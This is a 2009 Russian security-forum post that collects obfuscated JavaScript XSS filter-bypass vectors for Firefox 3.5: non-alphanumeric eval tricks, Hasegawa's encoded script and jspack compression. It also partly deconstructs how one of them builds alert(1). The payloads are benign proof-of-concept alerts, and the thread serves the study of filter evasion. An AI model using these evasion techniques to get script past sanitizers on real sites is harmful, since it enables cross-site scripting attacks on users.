ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Firefox 3.5, unicode и javascript
  #1  
Старый 18.08.2009, 21:09
Аватар для Pavlov
Pavlov
Banned
Регистрация: 14.06.2009
Сообщений: 27
Провел на форуме:
2326510

Репутация: 283
По умолчанию Firefox 3.5, unicode и javascript

Недавно нашёл интересный топик New XSS vectors/Unusual Javascript (http://sla.ckers.org/forum/read.php?2,15812,page=1)
В нём описываются различные способы обхода фильтрации, примером работы javascript является alert(1);
Вот некоторые из них:
--------------
0/eval('alert(1)')
--------------
top.* =alert,self['*'](1)
--------------
[1,9].reduce(alert)
--------------
\u5001$=1
\u5000$=\u5001$?alert:\u5001$
\u5000$(1)

--------------
x='\u0020alert\u0009(1)';
eval(x);

--------------
Первым, кто предложил полностью зашифрованный скрипт, был Yosuke Hasegawa (1 июня 2009).
Скрипт довольно большой, но всётаки это оригинальное решение.
ß=-~-~[],þ=-~ß,â=ß<<ß,ô=â+~[];ù=(þ-þ)[Õ=(''+{})[ß+þ]+(''+{})[þ-ß]+([].þ+'')[þ-ß]+(!!''+'')[þ]+({}+'')[þ+þ]+(!''+'')[þ-ß]+(!''+'')[ß]+(''+{})[ß+þ]+({}+'')[þ+þ]+(''+{})[þ-ß]+(!''+'')[þ-ß]][Õ];ù(ù((!''+'')[þ-ß]+(!''+'')[þ]+(!''+'')[þ-þ]+(!''+'')[ß]+((!''+''))[þ-ß]+([].$+'')[þ-ß]+'\''+''+'\\'+(þ-ß)+(ß+ß)+(þ-ß)+'\\'+(þ-ß)+(ß+þ)+(ß+ß)+'\\'+(þ-ß)+(ß+ß)+(ß+þ)+'\\'+(þ-ß)+(þ+þ)+(ß)+'\\'+(þ-ß)+(þ+þ)+(ß+ß)+'\\'+(ß+þ)+(þ-þ)+'\\'+(þ+þ)+(þ-ß)+'\\'+(ß+þ)+(þ-ß)+'\\'+(ô)+(þ)+'\'')())()
--------------
$=[][(!~''+'')[(+!'')+(+!'')+(+!'')]+({}+'')[+!'']+($$=(!+''+'')[+!''])+(_=(!''+'')[+''])],$()[(!!''+'')[+!'']+(!!''+'')[+!''+!'']+(!!''+'')[+!''+!''+!''+!'']+$$+_](+!'')
--------------
µ=<µ ß='le' µ='a' ø='rt'></µ>,top[µ.@µ+µ.@ß+µ.@ø](µ)
--------------
И даже без ковычек:
(Å=[],[Ç=!!Å+Å,µ=!Å+{}][µ[ª=Ç[++Å]+Ç[+!Å],È=Å-~Å]+µ[È+È]+ª])()[µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
--------------
Впервые я заметил такое решение на сайте http://raz0r.name/
Но не уделил ему должного внимания, зря хотя. А несколько дней спустя, в поиске обхода фильтрации нашёл тот топик.

Также один из учасников форума уже создал скрипт который зашифровывает яваскрипт - Hackvertor
Выбераем Hacker tags, выделяем наш скрипт, нажимаем на hasegawa, а затем нажимаем Convert (image).

Кстати, на том сайте, есть ещё один способ сжатия, интересен он тем что работает не только в FF3.5, но и в IE8.
Script > jspack
Пример cжатого alert(1);
--------------
eval("◮ᾥѵ٨ፍ;".replace(/[^s]/g,function(c){return c.charCodeAt()}).replace(/[3][2-9]|[4-9][0-9]|[1][0-1][0-9]|[1][2][0-6]/g,function(d){return String.fromCharCode(d)}))
--------------
Вообщем интересно как это работает.
Для начала хотябы на простых примерах.
--------------
$=alert;
$(1);

--------------
blah=alert;
blah(1);

--------------
Прочитав это, я мало что понял, но всёже решил попробывать чтото простое.
Цитата:
Сообщение от .mario  
It looks complicated but is actually very easy. Since you are not allowed to use alnum characters you have to generate them.

_=''+{}


The code above for example results in the string [object Object]. Now you can access the string like an array.

_[1]

//<- gives you an o, index 2 a b, 3 a j etc etc.
Since the 1 is not allowed too you have to generate it as well. $>>$ for example will give you a 0, $++ a 1, $+$ afterwards a two and so on. With some patience you can assemble the string 'alert(1)' using this way. Last but not least you have to evaluate the string. One way to do this w/o alnum would be to create the string __parent__ and use it as array index for one of the variables you created before. Boom - you have the window object and thus the ability to eval().
Например, есть скрипт:
--------------
$=alert;
$(1);

--------------
Допишим к нему $(2);.
--------------
$=alert;
$(1);
$(2);

--------------
Сначала появится alert(1);, затем alert(2);.
Таким образом можно предположить что alert записывается в $, а затем каждый раз подставляется к (1); и (2);.
Немного усложним конструкцию:
$=alert;
$($>>$);

Теперь выводится 0, как и написал .mario.
$++ - NaN
$+$ - function write() { [native code] } function write() { [native code] }
$+$-$ - NaN
4+10-5 - 9
--------------
Теперь возьмём посложнее:
(Å=[],[Ç=!!Å+Å,µ=!Å+{}][µ[ª=Ç[++Å]+Ç[+!Å],È=Å-~Å]+µ[È+È]+ª])()[µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
--------------
Å сдесь выполняет туже роль что и $ в предыдущем примере.
Можно его даже заменить на ß, и скрипт всюравно будет работать.
(ß=[],[Ç=!!ß+ß,µ=!ß+{}][µ[ª=Ç[++ß]+Ç[+!ß],È=ß-~ß]+µ[È+È]+ª])()[µ[ß]+µ[ß+ß]+Ç[È]+ª](ß)
--------------
Давайте попробуем разобрать этот скрипт.
ß - хранит в себе информацию (я не разбираюсь в програмировании, по этому незнаю как это называется)
ß=[] - сдесь ß записывает в себя массив []
Дальше идёт массив [...])(), затем ещё один [...], и затем (ß) которая и вызывает скрипт.
Возможно скрипт можно разделить:
(ß=[],
[Ç=!!ß+ß,µ=!ß+{}]
[µ[ª=Ç[++ß]+Ç[+!ß],È=ß-~ß]
+µ[È+È]+ª])
()
[µ[ß]+µ[ß+ß]+Ç[È]+ª]
(ß)

Дальше, как я понимаю, идёт преобразование из utf8 в ascii и создание alert(1);, который и выполняется в браузере.
Ктонибудь, обладающий нужными заниями, может продолжить?
Интересно разобрать этот скрипт для создания анологичных.

Последний раз редактировалось Pavlov; 19.08.2009 в 00:42..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Финальная версия Firefox 3.5 выйдет в конце июня ASDFire Мировые новости 4 17.06.2009 17:43
Firefox 3.5: на финишной прямой DREASTY Мировые новости 5 02.06.2009 00:24



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ